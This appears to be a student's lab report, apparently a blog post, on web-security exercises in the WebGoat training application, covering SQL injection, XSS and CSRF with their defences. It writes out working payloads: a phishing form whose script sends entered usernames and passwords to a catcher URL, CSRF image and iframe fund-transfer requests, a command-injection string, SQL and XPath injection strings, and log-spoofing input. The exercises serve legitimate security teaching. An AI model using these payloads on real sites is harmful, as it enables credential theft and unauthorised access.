20155333 《网络对抗》 Exp9 Web安全基础

基础问题回答

1.SQL注入攻击原理,如何防御?

  • 原理:

    通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。

防御:

  • 可以在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
  • 可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。

2.XSS攻击的原理,如何防御?

  • 原理:

    攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。

  • 防御:

    浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。

一个原则:不相信用户输入的任何数据!

3.CSRF攻击原理,如何防御?

  • 原理:

    CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.

    主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码

  • 防御:

    • 改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。
    • 使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在Session里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

实践

WebGoat

  • 下载webgoat-container-7.1-war-exec.jar文件
  • 在含有“webgoat-container-7.0.1-war-exec.jar”文件的目录下执行java -jar webgoat-container-7.1-war-exec.jar开启WebGoat
  • 在浏览器中输入“http://localhost:8080/WebGoat”进入WebGoat登录界面
  • 使用用默认用户名密码登录

XSS攻击

Phishing with XSS 跨站脚本钓鱼攻击

  • 在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS

  • 将下面这段代码输入到"Search:"输入框中,点击search;

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div> </div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

会出现代码中所指定的绿、红、蓝三块div

下方出现用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框

在登录框中输入用户名、密码,eg:20155333 123456,点击登录后,会像代码中alert提示的,显示被窃取的用户名和密码

Stored XSS Attacks 存储型XSS攻击

  • 打开Cross-Site Scripting (xss)攻击中的第二个:Stored XSS Attacks
  • 在Message框中输入上面那段代码,并点击submit,Title随便输入
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div> </div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

提交后,下方“Message List”中会新增刚输入的Tile名字的链接

点击链接可以看到html已经注入成功,messege部分显示的是绿、红、蓝三色框

在下方用户名密码处输入,eg:20155333 123456

点击提交后,成功获取用户名和密码

Reflected XSS Attacks 反射型XSS攻击

  • 打开xss的第三个攻击Reflected XSS Attacks

  • 在“Enter your three digit access code:”中输入<script>alert("5333");</script>点击Purchase,成功显示警告框,内容为我们script脚本指定的内容

输入前面编写的脚本,同样会成功

CSRF攻击

Cross Site Request Forgery(CSRF)

  • 打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)

  • 查看页面下方Parameters中的src和menu值,分别为2078372和900

  • 在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=10000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

  • 提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的10000元,从而达到CSRF攻击的目的

CSRF Prompt By-Pass

  • 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass

  • 同攻击4,查看页面下侧Parameters中的src和menu值(1471017872和900),并在message框中输入代码:

<iframe src="attack?Screen=	1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen= 1471017872&menu=900&transferFunds=CONFIRM"> </iframe>

在Message List中生成以Title命名的链接,点击进入后,攻击成功

SQL注入攻击

命令注入(Command Injection)

  • 按F12进入调试界面,选择Inspect...对源代码进行修改。

  • AccessControlMatrix.help后面加上"& netstat -an & ipconfig"

点击view,即可查看命令执行结果

Numeric SQL Injection

  • 按F12进入调试界面,选择Inspect...对源代码进行修改。

  • 在选项列表中,任意选择一个值,比如“101”,后面加上or 1=1

输出如下

日志欺骗(Log Spoofing)

  • 在username中填入5333%0d%0aLogin Succeeded for username: admin,利用回车(0D%)和换行符(%0A)让其在日志中两行显示

  • 点击Login,可见5333在Login Fail那行显示,添加的语句在下一行显示

攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>作为用户名输入

XPATH Spoofing

在用户名处注入Smith' or 1=1 or 'a'='a,这将会显示登录系统的第一个用户。密码是必须的字段,可以任意输入,“登录”可看到其他人的信息

LAB:SQL Injection

  • 在密码框输入' or 1=1 --,登录失败用Firebug查看网页源码,发现密码长度有限制

  • 将密码长度maxlength改为100,再次尝试

登录成功

字符串型注入(String SQL Injection)

  • 择Injection Flaws中的String SQL Injection

  • 输入查询的用户名Smith' or 1=1--

这样Smith 和1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的所有数据。

总结与体会

本课程最后一次实验,圆满结束!

20155333 《网络对抗》 Exp9 Web安全基础的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  3. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  4. 20145315何佳蕾《网络对抗》Web安全基础

    20145315何佳蕾<网络对抗>Web安全基础 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页 ...

  5. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  6. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  7. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  8. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  9. 20155311《网络对抗》Web安全基础实践

    20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  10. 20155338《网络对抗》Web安全基础实践

    20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...

随机推荐

  1. php 实现简单加入购物车(1)

          这个购物车相对来说比较简单,用于短暂存储,并没有存储到数据库,购物车对于爱网购的人来说简直是熟悉的不能再熟悉了,在写购物车之前,我们首先要构思一下,我们需要先从数据库中调出一张表格,这里我 ...

  2. MySql 正则表达式简介及使用

    MySql正则表达式简介及使用 by:授客 QQ:1033553122 简介 正则表达式描述了一组字符串,该字符放置于REGEXP工具后面.作用是将一个正则表达式与一个文本串进行比较. 最简单的正则表 ...

  3. 【Java入门提高篇】Day20 Java容器类详解(三)List接口

    今天要说的是Collection族长下的三名大将之一,List,Set,Queue中的List,它们都继承自Collection接口,所以Collection接口的所有操作,它们自然也是有的. Lis ...

  4. DDT模块

    转自: https://www.cnblogs.com/frost-hit/p/8277637.html Python DDT(data driven tests)模块心得   关于ddt模块的一些心 ...

  5. Jboss7.1 local EJB lookup problem

    We are trying to lookup for an Local EJB in JBoss7.1, but we get an ClassCast Exception. This local ...

  6. Python编写API接口

    要求通过http://192.168.50.74/aptest/calc/?a=aa&c=00&b=bb进行访问,参数a="aa",b="bb" ...

  7. IE 8 下sharepoint 2013 难看的字体的解决方案

    将 corev15.css 中的有关"Segoe UI","Segoe",Tahoma,移除即可. 一共二处 C:\Program Files\Common F ...

  8. 3.Solr4.10.3目录结构

    转载请出自出处:http://www.cnblogs.com/hd3013779515/ 1.整个目录结构 (1)bin:是脚本的启动目录 (2)contrib:第三方包存放的目录 (3)dist:编 ...

  9. jQuery1.9+ 废弃的函数和方法 升级Jquery版本遇到的问题

    面临问题 很久没关注JQuery了,今天突然想升级一下系统中使用的jquery版本,突然发现,升级JQuery版本到1.9之后出现了很多问题,比如:$.browser is undefined.突然就 ...

  10. HTML5新特性postMessage解决跨域

    window.postMessage的功能是允许程序员跨域在两个窗口/frames间发送数据信息.基本上,它就像是跨域的AJAX,但不是浏览器跟服务器之间交互,而是在两个客户端之间通信.让我们来看一下 ...